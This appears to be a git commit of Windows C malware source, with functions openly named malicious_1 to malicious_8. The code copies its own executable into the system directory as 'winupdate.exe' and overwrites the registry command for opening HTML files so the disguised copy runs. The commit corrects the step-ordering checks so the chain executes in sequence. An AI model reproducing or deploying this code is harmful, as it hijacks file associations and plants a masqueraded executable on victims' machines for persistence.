<commit_before>#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <windows.h>
#include <shellapi.h>

int order = 0;

char MyPath[256];
char CpyPath[256];
HKEY Key32;

void malicious_1(){
	if((1 - order) == 1){
		order = 1;
		GetModuleFileName(NULL,MyPath,sizeof(MyPath));
	}
	
}

void malicious_2(){
	if((1 - order) == 1){
		order = 2;	
		GetSystemDirectory(CpyPath,sizeof(CpyPath));
	}
}

void malicious_3(){
	if((1 - order) == 1){
		order = 3;
		strcat(CpyPath,"\\winupdate.exe");
	}
}

void malicious_4(){
	if((1 - order) == 1){
		order = 4;
		CopyFile(MyPath,CpyPath,FALSE);
	}
}

void malicious_5(){
	if((1 - order) == 1){
		order = 5;
		strcat(CpyPath," %1");
	}
}

void malicious_6(){
	if((1 - order) == 1){
		order = 6;
		RegOpenKeyEx(HKEY_CLASSES_ROOT,"htmlfile\\shell\\opennew\\command",0,KEY_WRITE,&Key32);
	}
}

void malicious_7(){
	if((1 - order) == 1){
		order = 7;
		RegSetValueEx(Key32,"",0,REG_SZ,CpyPath,strlen(CpyPath));
	}
}

void malicious_8(){
	if((1 - order) == 1){
		order = 8;
		RegCloseKey(Key32);
	}
}
<commit_msg>order 错误<commit_after>#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <windows.h>
#include <shellapi.h>

int order = 0;

char MyPath[256];
char CpyPath[256];
HKEY Key32;

void malicious_1(){
	if((1 - order) == 1){
		order = 1;
		GetModuleFileName(NULL,MyPath,sizeof(MyPath));
	}
	
}

void malicious_2(){
	if((2 - order) == 1){
		order = 2;	
		GetSystemDirectory(CpyPath,sizeof(CpyPath));
	}
}

void malicious_3(){
	if((3 - order) == 1){
		order = 3;
		strcat(CpyPath,"\\winupdate.exe");
	}
}

void malicious_4(){
	if((4 - order) == 1){
		order = 4;
		CopyFile(MyPath,CpyPath,FALSE);
	}
}

void malicious_5(){
	if((5 - order) == 1){
		order = 5;
		strcat(CpyPath," %1");
	}
}

void malicious_6(){
	if((6 - order) == 1){
		order = 6;
		RegOpenKeyEx(HKEY_CLASSES_ROOT,"htmlfile\\shell\\opennew\\command",0,KEY_WRITE,&Key32);
	}
}

void malicious_7(){
	if((7 - order) == 1){
		order = 7;
		RegSetValueEx(Key32,"",0,REG_SZ,CpyPath,strlen(CpyPath));
	}
}

void malicious_8(){
	if((8 - order) == 1){
		order = 8;
		RegCloseKey(Key32);
	}
}

{'fraction_non_alphanumeric': 0.20124580737901293, 'fraction_numerical': 0.04983229516051749, 'mean_word_length': 4.092682926829268, 'pattern_counts': {'":': 0, '<': 9, '<?xml version=': 0, '>': 9, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '3474522', 'n_tokens_mistral': 1018, 'n_tokens_neox': 911, 'n_words': 165}